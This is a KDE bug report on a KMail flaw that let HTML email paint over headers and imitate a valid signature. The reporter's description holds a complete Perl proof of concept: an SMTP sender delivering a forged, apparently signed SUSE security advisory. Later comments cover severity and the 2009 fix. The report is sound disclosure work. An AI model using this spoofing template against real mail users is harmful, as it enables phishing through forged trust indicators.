Bug 96020 - HTML Allows Spoofing of Emails Content
Summary: HTML Allows Spoofing of Emails Content
Status: RESOLVED FIXED
Alias: None
Product: kmail
Classification: Applications
Component: messageviewer (show other bugs)
Version: 1.10.90
Platform: Debian testing Linux
: NOR normal
Target Milestone: ---
Assignee: kdepim bugs
URL:
Keywords: testcase, triaged
: 48568 (view as bug list)
Depends on:
Blocks:
 
Reported: 2004-12-30 09:42 UTC by Noam Rathaus
Modified: 2009-12-20 16:46 UTC (History)
7 users (show)

See Also:
Latest Commit:
Version Fixed In:


Attachments
Exploit code (20.48 KB, application/octet-stream)
2005-02-17 13:21 UTC, Noam Rathaus
Details

Note You need to log in before you can comment on or make changes to this bug.
Description Noam Rathaus 2004-12-30 09:42:13 UTC
Version:            (using KDE KDE 3.3.2)
Installed from:    Debian testing/unstable Packages

A malicious person can craft an HTML email that would look as if it was:
1) Sent from someone else - minor
2) Signed/Encrypted while it is actually an ordinary HTML file - major

The HTML email can also overlap sections of the email that might be used to identify the sender/date/etc without requiring to change any of the actual information of the email... i.e. you don't need to change the "MAIL FROM:" / "FROM: " entry to overwrite it via the HTML email.

Perquisites:
1) HTML needs to be enabled - frequently people just enable HTML support
2) The color scheme needs to be guessed, if it has been changed from the default - not frequent

Don't affect the vulnerability:
1) Adding the HTML warning tab on the left side of the email, just because its there, you don't think it's a spoofed email

Exploit:
#!/usr/bin/perl -w
#
# By Noam Rathaus - Beyond Security

use IO::Socket;
use strict;

my $Host = shift;

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host, PeerPort => "smtp");

unless ($remote) { die "cannot connect to SMTP daemon on $Host" }

print "connected\n";

waitfor($remote, "220 ");

print "HELO\n";
print $remote "HELO whatever.com\r\n";

waitfor($remote, "250 ");

print "MAIL FROM\n";
print $remote "MAIL FROM: test\@whoever.com\r\n";

waitfor($remote, "250 ");

print "RCPT TO\n";
print $remote "RCPT TO: testy\@whoever.com\r\n";

waitfor($remote, "250 ");

print "DATA\n";
print $remote "DATA\r\n";

waitfor($remote, "354 ");

print $remote <<_EOF_;
From: newone\@whoever.com\r
Subject: Test Case\r
To: oldone\@whoever.com\r
Date: Mon, 27 Dec 2004 01:43:24 -0600\r
MIME-version: 1.0\r
Content-type: text/html; charset="utf8"\r
Content-transfer-encoding: 8bit\r
\r
<HTML>\r
<BODY>\r
<BR>\r
<SPAN STYLE="font-family: arial; position: absolute; left: 0px; top: 0px; background: white; width: 99%; margin-left: 10px; margin-top: 10px;">\r
<TABLE STYLE="width: 100%; background: white; border: 1px solid; margin-left: auto; margin-right: auto;" CELLSPACING="0" CELLPADDING="2">\r
 <TR>\r
  <TD COLSPAN="2" STYLE="background: #ffdd76;"><B>Microsoft Alert</B></TD>\r
 </TR>\r
 <TR STYLE="background: #eeeee6;">\r
  <TD WIDTH="1"><B>From:</B></TD><TD><A HREF="mailto:suse\@suse.com">suse\@suse.com</A></TD>\r
 </TR>\r
 <TR STYLE="background: #eeeee6;">\r
  <TD><B>To:</B></TD><TD><A HREF="mailto:test\@whoever.com">test\@whoever.com</A></TD>\r
 </TR>\r
 <TR STYLE="background: #eeeee6;">\r
  <TD><B>Date:</B></TD><TD>2004-12-27 09:43</TD>\r
 </TR>\r
</TABLE>\r
<BR>\r
<TABLE STYLE="width: 99%; margin-left: 10px; background: white; border: 1px solid; border-color: #40FF40; margin-left: auto; margin-right: auto;" CELLSPACING="0" CELLPADDING="2">
 <TR>\r
  <TD STYLE="background: #40FF40;"><B>Message was signed by <A HREF="mailto:security\@suse.de">SuSE Security Team &lt;security\@suse.de&gt;</A> (Key ID: 0x3D25D3D9).<BR>
  The signature is valid and the key is fully trusted.</B></TD>\r
 </TR>\r
 <TR>
  <TD STYLE="background: #e8ffe8;">
<PRE>______________________________________________________________________________

                        SUSE Security Announcement

        Package:                kernel
        Announcement-ID:        SUSE-SA:2004:046
        Date:                   Wednesday, Dec 22nd 2004 16:00 MEST
        Affected products:      9.0 / AMD64
                                SUSE Linux Enterprise Server 8 / AMD64
        Vulnerability Type:     local privilege escalation
        Severity (1-10):        8
        SUSE default package:   yes
        Cross References:       CAN-2004-1144

    Content of this advisory:
        1) security vulnerability resolved:
             - local root exploit in 2.4 AMD64 kernel
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            - see SUSE Security Summary
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    Due to missing argument checking in the 32 bit compatibility
    system call handler in the 2.4 Linux Kernel on the AMD64 platform
    a local attacker can gain root access using a simple program.

    This issue was found and fixed by Petr Vandrovec and has been
    assigned the Mitre CVE ID CAN-2004-1144.

    This is a 2.4 Kernel and AMD64 specific problem, other
    architectures and the 2.6 Kernel are not affected.


2) solution/workaround

    There is no workaround, please install the supplied kernels.

3) special instructions and notes

    SPECIAL INSTALL INSTRUCTIONS:
    ==============================
    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence "****"
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.


  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the "-" character)

      k_deflt   # default kernel, good for most systems.
      k_i386    # kernel for older processors and chip sets
      k_athlon  # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp    # kernel for Pentium-I dual processor systems
      k_smp     # kernel for SMP systems (Pentium-II and above)
      k_smp4G   # kernel for SMP systems which supports a maximum of 4G of RAM
      kernel-64k-pagesize
      kernel-bigsmp
      kernel-default
      kernel-smp

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name as indicated by Step 1. The list of all kernel rpm packages is
    appended below. Note: The kernel-source package does not
    contain a binary kernel in bootable form. Instead, it contains the
    sources that the binary kernel rpm packages are created from. It can be
    used by administrators who have decided to build their own kernel.
    Since the kernel-source.rpm is an installable (compiled) package that
    contains sources for the linux kernel, it is not the source RPM for
    the kernel RPM binary packages.

    The kernel RPM binary packages for the distributions can be found at the
    locations below ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64.

    After downloading the kernel RPM package for your system, you should
    verify the authenticity of the kernel rpm package using the methods as
    listed in section 3) of each SUSE Security Announcement.


  **** Step 3: Installing your kernel rpm package

    Install the rpm package that you have downloaded in Steps 3 or 4 with
    the command
        rpm -Uhv --nodeps --force &lt;K_FILE.RPM&gt;
    where &lt;K_FILE.RPM&gt; is the name of the rpm package that you downloaded.

    Warning: After performing this step, your system will likely not be
             able to boot if the following steps have not been fully
             followed.


    If you run SUSE LINUX 8.1 and haven't applied the kernel update
    (SUSE-SA:2003:034), AND you are using the freeswan package, you also
    need to update the freeswan rpm as a dependency as offered
    by YOU (YaST Online Update). The package can be downloaded from
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/

  **** Step 4: configuring and creating the initrd

    The initrd is a ramdisk that is loaded into the memory of your
    system together with the kernel boot image by the bootloader. The
    kernel uses the content of this ramdisk to execute commands that must
    be run before the kernel can mount its actual root filesystem. It is
    usually used to initialize SCSI drivers or NIC drivers for diskless
    operation.

    The variable INITRD_MODULES in /etc/sysconfig/kernel determines
    which kernel modules will be loaded in the initrd before the kernel
    has mounted its actual root filesystem. The variable should contain
    your SCSI adapter (if any) or filesystem driver modules.

    With the installation of the new kernel, the initrd has to be
    re-packed with the update kernel modules. Please run the command

      mk_initrd

    as root to create a new init ramdisk (initrd) for your system.
    On SuSE Linux 8.1 and later, this is done automatically when the
    RPM is installed.


  **** Step 5: bootloader

    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
    are two options:
    Depending on your software configuration, you have either the lilo
    bootloader or the grub bootloader installed and initialized on your
    system.
    The grub bootloader does not require any further actions to be
    performed after the new kernel images have been moved in place by the
    rpm Update command.
    If you have a lilo bootloader installed and initialized, then the lilo
    program must be run as root. Use the command

      grep LOADER_TYPE /etc/sysconfig/bootloader

    to find out which boot loader is configured. If it is lilo, then you
    must run the lilo command as root. If grub is listed, then your system
    does not require any bootloader initialization.

    Warning: An improperly installed bootloader may render your system
             unbootable.

  **** Step 6: reboot

    If all of the steps above have been successfully completed on your
    system, then the new kernel including the kernel modules and the
    initrd should be ready to boot. The system needs to be rebooted for
    the changes to become active. Please make sure that all steps have
    completed, then reboot using the command
        shutdown -r now
    or
        init 6

    Your system should now shut down and reboot with the new kernel.


4) package location and checksums

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    x86-64 Platform:

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_deflt-2.4.21-268.x86_64.rpm
      585c7dd47f8e6f9e60ae4eed5fbb21fe
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_smp-2.4.21-268.x86_64.rpm
      44b0c5e8beae0d1b60b85f0f1406a4f9
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kernel-source-2.4.21-268.x86_64.rpm
      000194dc37b15a93c8b0313288c9c879
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_deflt-2.4.21-268.src.rpm
      3f0a9d938251f2d72fce0ccc979c19a1
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_smp-2.4.21-268.src.rpm
      33b072ab6ef6333f42bda07a5de7e658
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/kernel-source-2.4.21-268.src.rpm
      772c469c0907594d6396918a5d4c91f6
______________________________________________________________________________

5)  Pending vulnerabilities in SUSE Distributions and Workarounds:

    See the SUSE Security Summary Report for more information.

______________________________________________________________________________

6)  standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum &lt;name-of-the-file.rpm&gt;
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security\@suse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig &lt;file.rpm&gt;
       to verify the signature of the package, where &lt;file.rpm&gt; is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg &lt; announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "build\@suse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .


  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-security\@suse.com
        -   general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                &lt;suse-security-subscribe\@suse.com&gt;.

    suse-security-announce\@suse.com
        -   SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                &lt;suse-security-announce-subscribe\@suse.com&gt;.

    For general information or the frequently asked questions (FAQ)
    send mail to:
        &lt;suse-security-info\@suse.com&gt; or
        &lt;suse-security-faq\@suse.com&gt; respectively.

    =====================================================================
    SUSE's security contact is &lt;security\@suse.com&gt; or &lt;security\@suse.de&gt;.
    The &lt;security\@suse.de&gt; public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID    Date       User ID
pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team &lt;security\@suse.de&gt;
pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key &lt;build\@suse.de&gt;

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz
JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh
1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U
P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+
cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg
VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b
yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4m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EQIADAUCOe70
kgUJA8JnAAAKCRCoTtronIAKyksiAJsFB3/77SkH3JlYOGrEe1Ol0JdGwACeKTtt
geVPFB+iGJdiwQlxasOfuXyITAQYEQIADAUCPGqpWQUJCgCCxwAKCRCoTtronIAK
yofBAKCSZM2UFyta/fe9WgITK9I5hbxxtQCfX+0ar2CZmSknn3coSPihn1+OBNw=
=Fv2n
-----END PGP PUBLIC KEY BLOCK-----
</PRE>
</TD>
 </TR>
 <TR>
  <TD STYLE="background: #40FF40;"><B>End of signed message</B></TD>
 </TR>
</TABLE>
<BR>\r
</SPAN>\r
</BODY>\r
</HTML>\r
\r
.\r
_EOF_

waitfor($remote, "250 ");

close ($remote);

sub waitfor
{
 my ($socket, $WaitFor) = @_;

 while (<$socket>)
 {
  print $_;
  if (/$WaitFor/)
  {
   last;
  }
 }
}
Comment 1 Noam Rathaus 2005-02-15 13:51:28 UTC
Vulnerability has been assigned: CAN-2005-0404
Comment 2 Waldo Bastian 2005-02-15 14:36:18 UTC
Could you attach the exploit as attachment to this bugreport, otherwise the bugsystem mangles it. Thanks!
Comment 3 Noam Rathaus 2005-02-17 13:21:37 UTC
Created attachment 9684 [details]
Exploit code
Comment 4 Ana Guerrero (Debian KDE maintainers) 2005-04-25 01:04:27 UTC
More info at: http://www.securityfocus.com/bid/13085

Does this affect the KMail in KDE 3.4.0?

In any case, the issue is two months old. Some sort of fix or response would be great.

Thanks.
Comment 5 Dirk Mueller 2005-04-25 02:03:09 UTC
it does affect kmail 3.4 the same way it affected all older versions. however, this proof of concept is pretty lame. it doesn't match the colors, the fonts or even the font sizes. of course you could theoretically tune for that. 

it doesn't have the usual link to the status popup though, and its clearly
mentioned in several places that HTML rendering has phishing problems, and 
HTML rendering is *disabled* by *default* in kmail, and you get a pretty huge
warning if you still enable it. 

anyway, the html bar also indicates that this is a spoofed message. maybe
not in an obvious way. 

the only way we could mitigate this attack for real though is to load the
actual content in a separate frame, so that it cannot paint over kmail 
specific HTML. This is a long term todo, and there are a few bits missing
in KHTML in order to achieve that. 

so I'd either close it as wontfix or as duplicate, whatever you prefer. 
Comment 6 Ana Guerrero (Debian KDE maintainers) 2005-04-25 03:24:30 UTC
Well, perhaps keep it open, since this is a problem, just one not as serious as one might think at first glance.

Thanks for explaining the situation - it was very helpful.

Cheers.
Comment 7 Noam Rathaus 2005-04-25 07:47:04 UTC
The colors, fonts and font sizes all match my version of Kmail/KDE, not to mention that they can be customized to any requirements. The HTML Bar shouldn't appear if the font sizes match and the screen resolution is known, as it is overlapped by the HTML content, which is what the vulnerability is all about. Overlapping of critical information by HTML code.
Comment 8 Dirk Mueller 2005-04-26 10:12:47 UTC
I don't doubt that the colors/fonts etc match your settings of kmail, but they don't match mine, and thats probably true for a lot of people. so its not so easy to write a generic phishing this way. 

Also, the html bar is not hidden for me here (KMail HEAD, but there haven't been changes in that area for ages. Probably 3.4 is not affected). 
Comment 9 Thomas McGuire 2006-09-27 16:38:18 UTC
IMHO the following are all duplicates of this bug:

Bug #96557
Bug #109625
Bug #123395

Someone with enough permissions please mark these bugs as such.
Comment 10 Rex Dieter 2006-09-27 16:53:49 UTC
FYI, just marked the latter 2 dups of the 1st.  Leaving 1st alone, for now, it already contains a reference to this.
Comment 11 Ingo Klöcker 2006-09-27 22:50:50 UTC
FWIW: The bar on the left side which can be enabled/disabled by the user in the configuration dialog and which either shows "No HTML Message" or "HTML Message" can't be overlapped by the HTML content. The HTML content is restricted to the KHTML widget and the side bar is a widget of its own. Thus overlapping is technically impossible.
Comment 12 Dominik Tritscher 2008-09-14 20:44:49 UTC
Just checked that with kmail from KDE4 trunk (r860647).
The HTML warning is not overwritten by the testmail, but the rendering looks like a correctly signed massage. So basically this is still an issue, as long as the signing infos are rendered within the message itself.
Comment 13 Jaime Torres 2009-01-17 12:54:25 UTC
With the new messagelist there is allways information that says the message has a signature or not, or is encrypted or not, but I'm sure most users will only see the fancy rendering saying the mail is signed and the signature is valid. 

To solve the phising, the way the signature information is shown must change a lot and must not be possible to simulate it with html mails (or the next great mail format with pretty colors). 

And, very important, the users must be trained to not trust mail messages until they check the message is valid. I'm almost sure that if the exploit is seen with other mail clients, a lot of users will also trust the mail content.


Comment 14 Thomas McGuire 2009-03-16 14:45:58 UTC
*** Bug 48568 has been marked as a duplicate of this bug. ***
Comment 15 Thomas McGuire 2009-03-16 17:25:56 UTC
SVN commit 940115 by tmcguire:

Make sure HTMl messages can not overwrite the header.

BUG: 96557
CCBUG: 96020


 M  +9 -0      objecttreeparser.cpp  


WebSVN link: http://websvn.kde.org/?view=rev&revision=940115
Comment 16 Thomas McGuire 2009-03-18 10:26:58 UTC
SVN commit 940769 by tmcguire:

Backport r940115 by tmcguire from trunk to the 4.2 branch:

Make sure HTMl messages can not overwrite the header.

CCBUG: 96557
CCBUG: 96020



 M  +9 -0      objecttreeparser.cpp  


WebSVN link: http://websvn.kde.org/?view=rev&revision=940769
Comment 17 Torgny Nyblom 2009-10-21 17:21:19 UTC
As reported this bug is no longer reproducible, should it be closed?
Comment 18 Björn Ruberg 2009-12-20 16:46:40 UTC
No objections - just doing it.